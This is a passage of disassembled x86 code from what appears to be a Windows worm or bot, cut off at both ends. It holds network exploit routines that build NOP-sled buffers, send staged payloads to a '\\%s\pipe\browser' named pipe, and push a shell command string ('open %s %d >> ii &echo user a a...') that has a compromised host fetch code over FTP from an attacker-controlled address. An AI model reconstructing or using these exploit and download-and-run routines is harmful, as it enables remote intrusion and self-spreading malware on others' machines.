		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset dword_4467AC
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jnz	short loc_4256C2


loc_4256AE:				; CODE XREF: sub_4253C0+F3j
					; sub_4253C0+120j ...
		lea	ecx, [esp+440h+var_434]
		mov	[esp+440h+var_4], ebx
		call	sub_401226


loc_4256BE:				; CODE XREF: sub_4253C0+6Fj
					; sub_4253C0+85j
		xor	al, al
		jmp	short loc_4256EA
; ---------------------------------------------------------------------------


loc_4256C2:				; CODE XREF: sub_4253C0+2ECj
		push	0
		lea	ecx, [esp+444h+var_40C]
		push	400h
		push	ecx
		push	esi
		call	edi	; recv
		push	esi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+440h+var_434]
		mov	[esp+440h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_4256EA:				; CODE XREF: sub_4253C0+300j
		mov	ecx, [esp+440h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 434h
		retn
sub_4253C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4257F0	proc near		; CODE XREF: sub_40180Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_28		= byte ptr  2Ch
arg_2C		= byte ptr  30h
arg_2F		= byte ptr  33h
arg_59		= byte ptr  5Dh
arg_5B		= byte ptr  5Fh
arg_5C		= byte ptr  60h
arg_90		= byte ptr  94h
arg_A4		= byte ptr  0A8h
arg_A5		= byte ptr  0A9h
arg_F0		= byte ptr  0F4h
arg_190		= byte ptr  194h
arg_89C		= dword	ptr  8A0h
arg_8AC		= byte ptr  8B0h
arg_8D4		= dword	ptr  8D8h
arg_8E4		= byte ptr  8E8h
arg_C08		= dword	ptr  0C0Ch
arg_C0C		= dword	ptr  0C10h
arg_C18		= byte ptr  0C1Ch
arg_E30		= byte ptr  0E34h
arg_E50		= byte ptr  0E54h
arg_E70		= byte ptr  0E74h
arg_E90		= byte ptr  0E94h
arg_1480	= byte ptr  1484h
arg_14E0	= byte ptr  14E4h
arg_14FC	= byte ptr  1500h
arg_1CCC	= byte ptr  1CD0h
arg_2177	= byte ptr  217Bh
arg_2464	= byte ptr  2468h
arg_24C5	= byte ptr  24C9h
arg_34F8	= byte ptr  34FCh
arg_3FA0	= byte ptr  3FA4h
arg_3FC0	= byte ptr  3FC4h
arg_401C	= byte ptr  4020h
arg_401D	= byte ptr  4021h
arg_4020	= byte ptr  4024h
arg_4030	= byte ptr  4034h
arg_4AF4	= byte ptr  4AF8h
arg_6098	= byte ptr  609Ch
arg_60F8	= byte ptr  60FCh
arg_6100	= byte ptr  6104h
arg_8140	= byte ptr  8144h
arg_81DC	= byte ptr  81E0h
arg_8234	= dword	ptr  8238h
arg_8290	= dword	ptr  8294h
arg_8294	= dword	ptr  8298h

		mov	eax, 81D8h
		call	sub_437B30
		mov	eax, dword_44690C
		mov	ecx, dword_446910
		push	ebx
		push	ebp
		push	esi
		lea	edx, [esp+0Ch+arg_81DC]
		push	edi
		mov	[esp+10h], eax
		push	edx
		lea	eax, [esp+14h+arg_4]
		push	offset dword_446900
		push	eax
		mov	[esp+1Ch+arg_0], ecx
		nop
		call	sub_5FC011
		add	esp, 0Ch
		xor	eax, eax
		lea	ecx, [esp+10h+arg_A5]


loc_425835:				; CODE XREF: sub_4257F0+56j
		mov	dl, [esp+eax+10h+arg_4]
		inc	eax
		mov	[ecx-1], dl
		mov	byte ptr [ecx],	0
		add	ecx, 2
		cmp	eax, 28h
		jl	short loc_425835
		mov	ecx, 18h
		mov	esi, offset dword_4461D0
		lea	edi, [esp+10h+arg_2C]
		xor	eax, eax
		rep movsd
		lea	edi, [esp+10h+arg_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	esi, [esp+10h+arg_A4]
		shl	ecx, 1
		mov	eax, ecx
		lea	edi, [esp+10h+arg_5C]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		mov	edx, dword_446227
		rep movsb
		lea	edi, [esp+10h+arg_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		mov	eax, dword_44622B
		dec	ecx
		lea	edi, [esp+10h+arg_4]
		lea	ecx, [esp+ecx*2+10h+arg_5B]
		mov	[ecx], edx
		mov	dl, byte_44622F
		mov	[ecx+4], eax
		xor	eax, eax
		mov	[ecx+8], dl
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+10h+arg_4]
		mov	ebx, ecx
		or	ecx, 0FFFFFFFFh
		add	bl, 1Ah
		shl	bl, 1
		repne scasb
		mov	ax, word_510108
		mov	[esp+10h+arg_2F], bl
		not	ecx
		dec	ecx
		push	eax
		shl	cl, 1
		add	cl, 9
		mov	[esp+14h+arg_59], cl
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esp+14h+arg_8294]
		xor	eax, 9999h
		test	edx, edx
		mov	word_445ED0, ax
		jz	loc_4259E3
		mov	ecx, 36Bh
		mov	eax, 90909090h
		lea	edi, [esp+14h+arg_F0]
		mov	edx, dword_4465C4[edx*8]
		rep stosd
		mov	edi, offset loc_445E20
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	esi, offset loc_445E20
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h+arg_8E4]
		mov	eax, ecx
		mov	[esp+14h+arg_8D4], edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, dword_4468F8
		mov	edi, offset loc_445E20
		mov	[esp+14h+arg_C08], ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+14h+arg_C0C], edx
		mov	edx, ecx
		mov	esi, offset loc_445E20
		lea	edi, [esp+14h+arg_C18]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+14h+arg_24C5]


loc_42598F:				; CODE XREF: sub_4257F0+1B5j
		mov	dl, [esp+eax+14h+arg_F0]
		inc	eax
		mov	[ecx-1], dl
		mov	byte ptr [ecx],	0
		add	ecx, 2
		cmp	eax, 0DACh
		jl	short loc_42598F
		mov	ecx, 714h
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_60F8]
		mov	[esp+14h+arg_401C], 0
		rep stosd
		stosw
		mov	ecx, 714h
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_4020]
		mov	[esp+14h+arg_401D], 0
		rep stosd
		stosw
		jmp	short loc_425A52
; ---------------------------------------------------------------------------


loc_4259E3:				; CODE XREF: sub_4257F0+10Bj
		mov	ecx, 1F4h
		mov	eax, 90909090h
		lea	edi, [esp+14h+arg_F0]
		mov	esi, offset loc_445E20
		rep stosd
		mov	edi, offset loc_445E20
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h+arg_190]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+14h+var_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	esi, [esp+14h+var_4]
		mov	edx, ecx
		lea	edi, [esp+14h+arg_8AC]
		shr	ecx, 2
		rep movsd
		mov	eax, dword_4465C4
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[esp+14h+arg_89C], eax


loc_425A52:				; CODE XREF: sub_4257F0+1F1j
		mov	ecx, 38Ah
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_14E0]
		mov	ebp, [esp+14h+arg_8290]
		rep stosd
		movsx	ecx, bl
		mov	ebx, dword_511CA0
		add	ecx, 4
		push	0
		lea	edx, [esp+18h+arg_28]
		push	ecx
		push	edx
		push	ebp
		stosb
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425A96
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425A96:				; CODE XREF: sub_4257F0+297j
		mov	esi, dword_511CA4
		push	0
		lea	eax, [esp+28h+arg_E90]
		push	640h
		push	eax
		push	ebp
		call	esi	; recv
		push	0
		push	68h
		push	offset dword_446234
		push	ebp
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425ACC
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425ACC:				; CODE XREF: sub_4257F0+2CDj
		push	0
		lea	ecx, [esp+48h+arg_E70]
		push	640h
		push	ecx
		push	ebp
		call	esi	; recv
		push	0
		push	0A0h
		push	offset dword_4462A0
		push	ebp
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425AFF
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425AFF:				; CODE XREF: sub_4257F0+300j
		push	0
		lea	edx, [esp+68h+arg_E50]
		push	640h
		push	edx
		push	ebp
		call	esi	; recv
		mov	eax, [esp+74h+arg_8234]
		test	eax, eax
		jz	loc_425BE5
		mov	ecx, 1Ah
		mov	esi, offset dword_446458
		lea	edi, [esp+74h+arg_6098]
		push	0
		rep movsd
		mov	ecx, 6D6h
		lea	esi, [esp+78h+arg_2464]
		lea	edi, [esp+78h+arg_6100]
		lea	eax, [esp+78h+arg_6098]
		rep movsd
		movsw
		mov	ecx, 1Ch
		mov	esi, offset dword_4464C4
		lea	edi, [esp+78h+arg_3FC0]
		push	10FCh
		rep movsd
		mov	ecx, 297h
		lea	esi, [esp+7Ch+arg_34F8]
		lea	edi, [esp+7Ch+arg_4030]
		push	eax
		rep movsd
		movsw
		mov	ecx, 21h
		mov	esi, offset dword_446538
		lea	edi, [esp+80h+arg_4AF4]
		push	ebp
		rep movsd
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425BAB
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_4257F0+3ACj
		push	0
		lea	ecx, [esp+88h+arg_E30]
		push	640h
		push	ecx
		push	ebp
		nop
		call	near ptr 71AB615Ah
		push	0
		lea	edx, [esp+98h+arg_3FA0]
		push	0FDCh
		push	edx
		push	ebp
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425C4C
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425BE5:				; CODE XREF: sub_4257F0+32Aj
		mov	ecx, 1Fh
		mov	esi, offset dword_446344
		lea	edi, [esp+74h+arg_1480]
		push	0
		rep movsd
		mov	ecx, 1F4h
		lea	esi, [esp+78h+arg_90]
		lea	edi, [esp+78h+arg_14FC]
		lea	eax, [esp+78h+arg_1480]
		rep movsd
		mov	ecx, 24h
		mov	esi, offset off_4463C4
		lea	edi, [esp+78h+arg_1CCC]
		push	0CF8h
		push	eax
		push	ebp
		rep movsd
		mov	[esp+84h+arg_2177], 0
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425C4C
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425C4C:				; CODE XREF: sub_4257F0+3E6j
					; sub_4257F0+44Dj
		push	12Ch
		nop
		call	near ptr 2841E5Ch
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+164h+arg_8140]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_4013BB
		add	esp, 0BCh
		test	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		setnz	al
		add	esp, 81D8h
		retn
sub_4257F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 130h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_425DC0:				; CODE XREF: ___:00401DCAj
		sub	esp, 650h
		xor	eax, eax
		push	ebx
		mov	[esp+4], eax
		push	esi
		mov	[esp+0Ch], eax
		lea	ecx, [esp+660h]
		push	edi
		mov	[esp+14h], eax
		push	ecx
		mov	[esp+1Ch], eax
		mov	word ptr [esp+10h], 2
		call	near ptr 71AB2BF4h
		nop
		mov	edx, [esp+6FEh]
		mov	[esp+10h], eax
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	6
		push	1
		push	2
		mov	[esp+1Ah], ax
		call	near ptr 71AB3B91h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_425E26
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E26:				; CODE XREF: ___:00425E18j
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425E45
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E45:				; CODE XREF: ___:00425E37j
		mov	edi, dword_511CA0
		push	0
		push	89h
		push	offset dword_445FB8
		push	ebx
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425E6B
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E6B:				; CODE XREF: ___:00425E5Dj
		mov	esi, dword_511CA4
		push	0
		lea	ecx, [esp+20h]
		push	640h
		push	ecx
		push	ebx
		call	esi	; recv
		push	0
		push	0A8h
		push	offset dword_446044
		push	ebx
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425EA0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425EA0:				; CODE XREF: ___:00425E92j
		push	0
		lea	edx, [esp+20h]
		push	640h
		push	edx
		push	ebx
		call	esi	; recv
		push	0
		push	0DEh
		push	offset dword_4460F0
		push	ebx
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425ECF
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425ECF:				; CODE XREF: ___:00425EC1j
		push	0
		lea	eax, [esp+20h]
		push	640h
		push	eax
		push	ebx
		call	esi	; recv
		movsx	eax, byte ptr [esp+60h]
		sub	eax, 30h
		jz	short loc_425EFB
		dec	eax
		jz	short loc_425EF7
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425EF7:				; CODE XREF: ___:00425EE9j
		push	0
		jmp	short loc_425F2E
; ---------------------------------------------------------------------------


loc_425EFB:				; CODE XREF: ___:00425EE6j
		push	2
		push	ebx
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+724h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40180C
		add	esp, 0C4h
		test	al, al
		jz	short loc_425F2C
		mov	esi, 1
		jmp	short loc_425F5A
; ---------------------------------------------------------------------------


loc_425F2C:				; CODE XREF: ___:00425F23j
		push	1


loc_425F2E:				; CODE XREF: ___:00425EF9j
		push	ebx
		mov	ecx, 2Eh
		sub	esp, 0BCh
		lea	esi, [esp+724h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40180C
		add	esp, 0C4h
		neg	al
		sbb	eax, eax
		neg	eax
		mov	esi, eax


loc_425F5A:				; CODE XREF: ___:00425F2Aj
		push	ebx
		nop
		call	near ptr 71AB9639h
		test	esi, esi
		jz	short loc_425F88
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+71Ch]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_425F88:				; CODE XREF: ___:00425F63j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426020:				; CODE XREF: ___:00401E51j
		push	edi
		push	0C8h
		nop
		call	near ptr 2841E5Ch
		mov	edx, [esp+0Ch]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		mov	eax, [esp+8]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		pop	edi
		setnz	al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426070	proc near		; CODE XREF: sub_401A55j

var_5A0		= dword	ptr -5A0h
var_59C		= dword	ptr -59Ch
var_598		= dword	ptr -598h
var_594		= dword	ptr -594h
var_590		= byte ptr -590h
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_BC		= dword	ptr  0C0h

		sub	esp, 5A0h
		xor	eax, eax
		push	ebx
		mov	[esp+5A4h+var_5A0], eax
		push	ebp
		mov	[esp+5A8h+var_59C], eax
		push	esi
		lea	ecx, [esp+5ACh+arg_4]
		push	edi
		mov	[esp+5B0h+var_598], eax
		push	ecx
		mov	[esp+5B4h+var_594], eax
		mov	word ptr [esp+5B4h+var_5A0], 2
		call	near ptr 71AB2BF4h
		nop
		mov	edx, [esp+5B0h+arg_BC]
		mov	[esp+5B0h+var_59C], eax
		push	edx
		call	near ptr 71AB2B66h
		nop
		push	0
		push	1
		push	2
		mov	word ptr [esp+5BCh+var_5A0+2], ax
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4260D8
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4260D8:				; CODE XREF: sub_426070+59j
		lea	eax, [esp+5B0h+var_5A0]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4260F8
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4260F8:				; CODE XREF: sub_426070+79j
		push	0
		lea	ecx, [esp+5B4h+var_400]
		push	400h
		push	ecx
		push	esi
		call	near ptr 71AB615Ah
		nop
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_449511
		call	sub_4017EE
		mov	edx, dword_44964F
		push	eax
		mov	eax, [esp+5B8h+arg_0]
		push	edx
		push	eax
		call	sub_401E10
		mov	ebx, dword_511AE4
		add	esp, 4
		lea	ecx, [esp+5BCh+var_590]
		push	eax
		push	offset aOpenSDIiEchoUs ; "open %s %d >>	ii &echo user a	a >> ii	&"...
		push	190h
		push	ecx
		call	ebx	; _snprintf
		lea	edi, [esp+5CCh+var_590]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 1Ch
		repne scasb
		mov	ebp, dword_511CA0
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+5B4h+var_590]
		push	ecx
		push	edx
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_426187
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_426187:				; CODE XREF: sub_426070+108j
		push	1F4h
		nop
		call	near ptr 2841E5Ch
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		push	offset aS_3	; "%s\r\n"
		lea	eax, [esp+5B8h+var_590]
		push	190h
		push	eax
		call	ebx	; _snprintf
		lea	edi, [esp+5C0h+var_590]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		lea	ecx, [esp+5B8h+var_590]
		push	ecx
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4261DC
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4261DC:				; CODE XREF: sub_426070+15Dj
		push	0
		lea	edx, [esp+5B4h+var_400]
		push	400h
		push	edx
		push	esi
		nop
		call	near ptr 71AB615Ah
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 5A0h
		retn
sub_426070	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426280:				; CODE XREF: ___:00402199j
		mov	eax, 1E88h
		call	sub_437B30
		push	esi
		push	edi
		mov	ecx, 20Ch
		xor	eax, eax
		lea	edi, [esp+238h]
		mov	esi, offset dword_4469B4
		rep stosd
		mov	ecx, 0FAh
		mov	eax, 90909090h
		lea	edi, [esp+0A68h]
		mov	edx, dword_51010C
		rep stosd
		mov	ecx, 56h
		lea	edi, [esp+0CDEh]
		rep movsd
		mov	eax, dword_446C2C
		mov	ecx, 10h
		movsw
		movsb
		lea	edi, [esp+0E50h]
		mov	esi, offset dword_446964
		rep stosd
		mov	eax, dword_446C24
		mov	ecx, 0Bh
		lea	edi, [esp+238h]
		rep movsd
		mov	ecx, 10Ah
		lea	esi, [esp+0A68h]
		lea	edi, [esp+270h]
		mov	[esp+264h], eax
		mov	[esp+268h], edx
		mov	[esp+26Ch], eax
		rep movsd
		mov	ecx, 7
		mov	esi, offset dword_446994
		lea	edi, [esp+69Ch]
		mov	ax, word_446C20
		mov	[esp+698h], edx
		lea	edx, [esp+30h]
		rep movsd
		mov	esi, dword_511AE4
		lea	ecx, [esp+1E98h]
		push	ecx
		push	offset dword_446900
		push	104h
		push	edx
		mov	[esp+6BCh], ax
		call	esi	; _snprintf
		add	esp, 10h
		xor	edi, edi
		lea	ecx, [esp+10h]
		lea	eax, [esp+30h]
		push	edi
		push	offset byte_448F30
		push	offset byte_448F30
		push	ecx
		mov	[esp+24h], edi
		mov	[esp+30h], edi
		mov	[esp+3Ch], edi
		mov	[esp+34h], eax
		call	sub_4382AA
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_4263A5
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_4263A5:				; CODE XREF: ___:00426397j
		lea	edx, [esp+1E98h]
		lea	eax, [esp+134h]
		push	edx
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	104h
		push	eax
		call	esi	; _snprintf
		add	esp, 10h
		lea	ecx, [esp+134h]
		push	edi
		push	edi
		push	3
		push	edi
		push	edi
		push	0C0000000h
		push	ecx
		nop
		call	near ptr 28703F9h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4263EF
		or	eax, eax
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_4263EF:				; CODE XREF: ___:004263E2j
		lea	edx, [esp+0Ch]
		push	edi
		push	edx
		lea	eax, [esp+0E98h]
		push	1000h
		push	eax
		push	49h
		push	offset dword_446918
		push	esi
		nop
		call	near ptr 27A0000h
		test	eax, eax
		jnz	short loc_426427
		push	esi
		nop
		call	near ptr 28506B2h
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_426427:				; CODE XREF: ___:00426412j
		lea	ecx, [esp+8]
		push	edi
		push	ecx
		lea	edx, [esp+240h]
		push	830h
		push	edx
		push	esi
		nop
		call	near ptr 2800000h
		test	eax, eax
		jnz	short loc_426458
		push	esi
		call	near ptr 28506B2h
		nop
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_426458:				; CODE XREF: ___:00426443j
		push	115Ch
		mov	ecx, 2Eh
		sub	esp, 0BCh
		lea	esi, [esp+1F54h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_401A55
		add	esp, 0C0h
		neg	al
		sbb	eax, eax
		pop	edi
		neg	eax
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426520	proc near		; CODE XREF: sub_4013CAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [esp+4+arg_0]
		not	ecx
		dec	ecx
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		pop	edi
		lea	eax, [ecx+edx*2+0C1h]
		retn
sub_426520	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426560	proc near		; CODE XREF: sub_401794j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_8]
		push	esi
		mov	esi, [esp+8+arg_C]
		push	esi
		push	ebx
		call	sub_4013CA
		mov	ecx, [esp+10h+arg_4]
		add	esp, 8
		cmp	eax, ecx
		mov	[esp+8+arg_8], eax
		jbe	short loc_426585
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426585:				; CODE XREF: sub_426560+1Ej
		push	ebp
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		xor	eax, eax
		mov	ebp, [esp+10h+arg_0]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, offset dword_446C64
		mov	eax, ecx
		mov	edi, ebp
		lea	ecx, [eax+edx+12h]
		mov	dword_446CC8, ecx
		lea	ecx, [eax+1]
		mov	dword_446CE9, ecx
		lea	ecx, [eax+17h]
		mov	dword_446CE1, ecx
		mov	ecx, 0FFFFFFEDh
		sub	ecx, eax
		mov	dword_446CF7, ecx
		mov	ecx, 1Dh
		rep movsd
		mov	ecx, edx
		mov	esi, ebx
		mov	ebx, ecx
		lea	edi, [ebp+74h]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		add	edx, 74h
		and	ecx, 3
		rep movsb
		mov	esi, dword_446CD8
		lea	ecx, [edx+ebp]
		add	edx, 5
		mov	[ecx], esi
		mov	bl, byte_446CDC
		mov	esi, [esp+10h+arg_C]
		lea	edi, [edx+ebp]
		mov	[ecx+4], bl
		mov	ecx, eax
		mov	ebx, ecx
		add	edx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	esi, dword_446CDD
		lea	ecx, [edx+ebp]
		add	edx, 10h
		mov	[ecx], esi
		mov	esi, dword_446CE1
		lea	edi, [edx+ebp]
		mov	[ecx+4], esi
		mov	esi, dword_446CE5
		mov	[ecx+8], esi
		mov	esi, dword_446CE9
		mov	[ecx+0Ch], esi
		mov	esi, [esp+10h+arg_C]
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [edx+eax]
		mov	eax, [esp+10h+arg_8]
		add	edi, ebp
		mov	ecx, 0Eh
		mov	esi, offset byte_446CED
		rep movsd
		pop	edi
		pop	ebp
		pop	esi
		pop	ebx
		retn
sub_426560	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4266D0	proc near		; CODE XREF: sub_402180j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4013CA
		push	eax
		call	sub_4017C6
		add	esp, 0Ch
		retn
sub_4266D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426700:				; CODE XREF: ___:0040173Fj
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	edi
		mov	edi, [esp+1Ch]
		push	edi
		push	ebx
		call	sub_402180
		mov	ebp, [esp+1Ch]
		add	esp, 8
		cmp	eax, ebp
		jbe	short loc_426723
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426723:				; CODE XREF: ___:0042671Bj
		cmp	eax, 0FFFFh
		jbe	short loc_426730
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426730:				; CODE XREF: ___:00426728j
		push	esi
		push	edi
		push	ebx
